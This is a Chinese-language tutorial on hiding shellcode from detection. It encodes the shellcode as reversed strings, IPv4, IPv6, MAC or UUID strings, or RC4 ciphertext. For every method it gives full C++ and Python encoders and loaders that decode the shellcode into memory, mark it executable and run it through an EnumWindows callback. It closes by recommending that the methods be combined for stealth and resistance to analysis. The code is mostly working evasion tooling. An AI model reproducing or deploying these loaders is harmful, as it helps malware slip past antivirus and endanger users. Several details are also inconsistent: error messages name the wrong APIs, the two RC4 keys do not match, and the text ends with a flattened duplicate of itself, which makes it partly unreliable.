Shellcode encryption
字数 1155 2025-08-06 12:20:45

Shellcode加密与内存加载技术详解

1. 字符串反转加载技术

1.1 原理

通过将shellcode字符串整体反转,然后在加载时从尾部开始读取,实现简单的混淆。

1.2 实现方法

Python反转工具:

import sys

if len(sys.argv) != 2:
    print("usage:\n python3 \"asdasd\"")
else:
    str = sys.argv[1]
    str = str[::-1]  # 字符串反转
    print(str)

C++加载实现:

#include <windows.h>
#include <iostream>
using namespace std;

int main(int argc, char* argv[]) {
    char buf1[] = "";  // 反转后的shellcode
    unsigned int char_in_hex;
    unsigned int iterations = strlen(buf1);
    unsigned int memory_allocation = strlen(buf1) / 2;
    int p = 0;
    
    // 申请内存空间
    char* temp = (char*)VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    
    // 从尾部开始读取
    for (int i = strlen(buf1) - 1; i >= 0; i--) {
        temp[p++] = buf1[i];
    }
    
    char* buf = (char*)temp;
    
    // 转换为可执行代码
    for (int i = 0; i < iterations - 1; i++) {
        sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
        buf[i] = (char)char_in_hex;
    }
    
    // 分配可执行内存并执行
    LPVOID Address = VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(Address, buf, memory_allocation);
    DWORD pflOldProtect = 0;
    VirtualProtectEx(GetCurrentProcess(), Address, memory_allocation, PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)Address, NULL);
    return 0;
}

2. IPv4格式内存加载技术

2.1 原理

利用Windows API函数将shellcode转换为IPv4点分十进制格式字符串,再转换回二进制执行。

2.2 关键API函数

RtlIpv4AddressToStringA:

NTSYSAPI PSTR RtlIpv4AddressToStringA(
    [in] const in_addr *Addr,  // 需要转换的IPv4地址
    [out] PSTR S               // 存储转换后的字符串
);

RtlIpv4StringToAddressA:

NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
    [in] PCSTR S,            // 需要转换的字符串
    [in] BOOLEAN Strict,     // 是否严格检查
    [out] PCSTR *Terminator, // 终止转换的字符指针
    [out] in_addr *Addr      // 存储二进制结果
);

2.3 实现方法

加密工具:

#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;

int main(int argc, char* argv[]) {
    char buf[] = "";  // 原始shellcode
    char* p = buf;
    char ip_str[sizeof(buf)];
    
    cout << "const char* buf[] = {";
    for (int i = 0; i <= (sizeof(buf) - 1) / 4; i++) {
        RtlIpv4AddressToStringA((const IN_ADDR*)&(*p), ip_str);
        p += 4;
        if (i == (sizeof(buf) - 1) / 4) {
            cout << "\"" << ip_str << "\"";
        } else {
            cout << "\"" << ip_str << "\",";
        }
    }
    cout << "};";
    return 0;
}

加载执行:

#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

using namespace std;

int main() {
    const char* buf[] = {0};  // 加密后的IPv4字符串数组
    
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    
    // 分配内存
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    
    // 转换回二进制
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)buf[i], FALSE, &lTerminator, (in_addr*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
            return FALSE;
        }
        ptr += 4;
    }
    
    // 修改内存保护并执行
    VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

3. IPv6格式内存加载技术

3.1 原理

与IPv4类似,但使用128位的IPv6地址格式进行编码。

3.2 关键API函数

RtlIpv6AddressToStringA:

NTSYSAPI PSTR RtlIpv6AddressToStringA(
    [in] const in6_addr *Addr,  // IPv6地址
    [out] PSTR S                // 输出字符串
);

RtlIpv6StringToAddressA:

NTSYSAPI NTSTATUS RtlIpv6StringToAddressA(
    [in] PCSTR S,            // 输入字符串
    [out] PCSTR *Terminator, // 终止指针
    [out] in6_addr *Addr     // 输出二进制
);

3.3 实现方法

加密工具:

#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;

int main(int argc, char* argv[]) {
    char buf[] = "";  // 原始shellcode
    char* p = buf;
    char ip_str[sizeof(buf)];
    
    cout << "const char* buf[] = {";
    for (int i = 0; i <= (sizeof(buf) - 1) / 16; i++) {
        RtlIpv6AddressToStringA((const in6_addr*)&(*p), ip_str);
        p += 16;
        if (i == (sizeof(buf) - 1) / 16) {
            cout << "\"" << ip_str << "\"";
        } else {
            cout << "\"" << ip_str << "\",";
        }
    }
    cout << "};";
    return 0;
}

加载执行:

#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

using namespace std;

int main() {
    const char* buf[] = {0};  // 加密后的IPv6字符串数组
    
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    
    // 分配内存(注意IPv6是16字节一组)
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*16, MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    
    // 转换回二进制
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlIpv6StringToAddressA((PCSTR)buf[i], &lTerminator, (in6_addr*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
            return FALSE;
        }
        ptr += 16;
    }
    
    // 修改内存保护并执行
    VirtualProtect(alloc_mem, sizeof(buf)*16, PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

4. MAC地址格式内存加载技术

4.1 原理

使用MAC地址格式(6字节一组)对shellcode进行编码。

4.2 关键API函数

RtlEthernetAddressToStringA:

NTSYSAPI PSTR RtlEthernetAddressToStringA(
    [in] const DL_EUI48 *Addr,  // 二进制MAC地址
    [out] PSTR S                // 输出字符串(需至少18字节空间)
);

RtlEthernetStringToAddressA:

NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
    [in] PCSTR S,            // 输入字符串
    [out] PCSTR *Terminator, // 终止指针
    [out] DL_EUI48 *Addr     // 输出二进制
);

4.3 实现方法

加密工具:

#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;

int main(int argc, char* argv[]) {
    char buf[] = "";  // 原始shellcode
    char* p = buf;
    char ip_str[sizeof(buf)];
    
    cout << "const char* buf[] = {";
    for (int i = 0; i <= (sizeof(buf) - 1) / 6; i++) {
        RtlEthernetAddressToStringA((const DL_EUI48*)&(*p), ip_str);
        p += 6;
        if (i == (sizeof(buf) - 1) / 6) {
            cout << "\"" << ip_str << "\"";
        } else {
            cout << "\"" << ip_str << "\",";
        }
    }
    cout << "};";
    return 0;
}

加载执行:

#include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

using namespace std;

int main() {
    const char* buf[] = {0};  // 加密后的MAC字符串数组
    
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    
    // 分配内存(注意MAC是6字节一组)
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*6, MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    
    // 转换回二进制
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlEthernetStringToAddressA((PCSTR)buf[i], &lTerminator, (DL_EUI48*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
            return FALSE;
        }
        ptr += 6;
    }
    
    // 修改内存保护并执行
    VirtualProtect(alloc_mem, sizeof(buf)*6, PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

5. UUID格式内存加载技术

5.1 原理

使用UUID(16字节一组)对shellcode进行编码。

5.2 Python加密工具

import uuid

buf = b""  # 原始shellcode
list = []
for i in range(len(buf) // 16):
    b = uuid.UUID(bytes_le=buf[i*16 : 16 + i*16])
    list.append(str(b))
    
print(str(list).replace("'", "\"").replace("[", "{").replace("]", "}") + ";")

5.3 关键API函数

UuidFromStringA:

RPC_STATUS UuidFromStringA(
    RPC_CSTR StringUuid,  // UUID字符串
    UUID *Uuid            // 输出二进制UUID
);

5.4 加载执行

#include <windows.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

using namespace std;

int main() {
    const char* buf[] = {0};  // 加密后的UUID数组
    
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    
    // 分配内存(UUID是16字节一组)
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*16, MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    
    // 转换回二进制
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = UuidFromStringA((RPC_CSTR)buf[i], (UUID*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf[i], STATUS, GetLastError());
            return FALSE;
        }
        ptr += 16;
    }
    
    // 修改内存保护并执行
    VirtualProtect(alloc_mem, sizeof(buf)*16, PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

6. SystemFunction033 RC4加密技术

6.1 原理

使用SystemFunction033函数(实际上是RtlEncryptDecryptRC4的别名)进行RC4加密/解密。

6.2 数据结构

struct ustring {
    DWORD Length;        // 数据长度
    DWORD MaximumLength; // 最大长度
    PUCHAR Buffer;       // 数据缓冲区
} _data, key;

6.3 函数原型

typedef NTSTATUS(WINAPI* _SystemFunction033)(
    struct ustring* memoryRegion,  // 要加密/解密的数据
    struct ustring* keyPointer      // 密钥
);

6.4 加密实现

#include "function.h"

int main() {
    char _key[] = "asadsasdasasd";  // 加密密钥
    unsigned char buf[] = {0};      // 原始shellcode
    
    key.Buffer = (PUCHAR)(&_key);
    key.Length = sizeof(key);
    _data.Buffer = (PUCHAR)buf;
    _data.Length = sizeof(buf);
    
    // 加密
    SystemFunction033(&_data, &key);
    
    // 输出加密后的shellcode
    printf("unsigned char buf[] = {");
    for (int i = 0; i < _data.Length; i++) {
        if (i == _data.Length - 1) {
            printf("0x%02x", _data.Buffer[i]);
        } else {
            printf("0x%02x, ", _data.Buffer[i]);
        }
    }
    printf("};");
}

6.5 解密执行

#include "function.h"

int main() {
    DWORD pflOldProtect = 0;
    char _key[] = "alphaBetagamma";  // 解密密钥(必须与加密密钥相同)
    unsigned char buf[] = {0};       // 加密后的shellcode
    
    key.Buffer = (PUCHAR)(&_key);
    key.Length = sizeof(key);
    _data.Buffer = (PUCHAR)buf;
    _data.Length = sizeof(buf);
    
    // 解密(使用相同的函数)
    SystemFunction033(&_data, &key);
    
    // 分配内存并执行
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
    memcpy(alloc_mem, buf, sizeof(buf));
    VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE_READWRITE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
}

7. 技术要点总结

  1. 内存分配与保护:

    • 使用VirtualAlloc/VirtualAllocEx分配内存
    • 使用VirtualProtect/VirtualProtectEx修改内存保护属性为可执行
  2. 执行技术:

    • 常用EnumWindows回调函数执行shellcode
    • 也可使用其他回调函数如EnumChildWindows
  3. 编码格式选择:

    • IPv4: 4字节一组
    • IPv6: 16字节一组
    • MAC: 6字节一组
    • UUID: 16字节一组
  4. 加密选择:

    • RC4加密简单高效
    • 也可结合多种编码方式增加混淆
  5. 注意事项:

    • 确保编码/解码过程数据完整
    • 注意字节对齐和填充
    • 检查API调用返回值

以上技术可以单独使用,也可以组合使用以增强隐蔽性和对抗分析的能力。

Shellcode加密与内存加载技术详解 1. 字符串反转加载技术 1.1 原理 通过将shellcode字符串整体反转,然后在加载时从尾部开始读取,实现简单的混淆。 1.2 实现方法 Python反转工具 : C++加载实现 : 2. IPv4格式内存加载技术 2.1 原理 利用Windows API函数将shellcode转换为IPv4点分十进制格式字符串,再转换回二进制执行。 2.2 关键API函数 RtlIpv4AddressToStringA : RtlIpv4StringToAddressA : 2.3 实现方法 加密工具 : 加载执行 : 3. IPv6格式内存加载技术 3.1 原理 与IPv4类似,但使用128位的IPv6地址格式进行编码。 3.2 关键API函数 RtlIpv6AddressToStringA : RtlIpv6StringToAddressA : 3.3 实现方法 加密工具 : 加载执行 : 4. MAC地址格式内存加载技术 4.1 原理 使用MAC地址格式(6字节一组)对shellcode进行编码。 4.2 关键API函数 RtlEthernetAddressToStringA : RtlEthernetStringToAddressA : 4.3 实现方法 加密工具 : 加载执行 : 5. UUID格式内存加载技术 5.1 原理 使用UUID(16字节一组)对shellcode进行编码。 5.2 Python加密工具 5.3 关键API函数 UuidFromStringA : 5.4 加载执行 6. SystemFunction033 RC4加密技术 6.1 原理 使用SystemFunction033函数(实际上是RtlEncryptDecryptRC4的别名)进行RC4加密/解密。 6.2 数据结构 6.3 函数原型 6.4 加密实现 6.5 解密执行 7. 技术要点总结 内存分配与保护 : 使用 VirtualAlloc / VirtualAllocEx 分配内存 使用 VirtualProtect / VirtualProtectEx 修改内存保护属性为可执行 执行技术 : 常用 EnumWindows 回调函数执行shellcode 也可使用其他回调函数如 EnumChildWindows 等 编码格式选择 : IPv4: 4字节一组 IPv6: 16字节一组 MAC: 6字节一组 UUID: 16字节一组 加密选择 : RC4加密简单高效 也可结合多种编码方式增加混淆 注意事项 : 确保编码/解码过程数据完整 注意字节对齐和填充 检查API调用返回值 以上技术可以单独使用,也可以组合使用以增强隐蔽性和对抗分析的能力。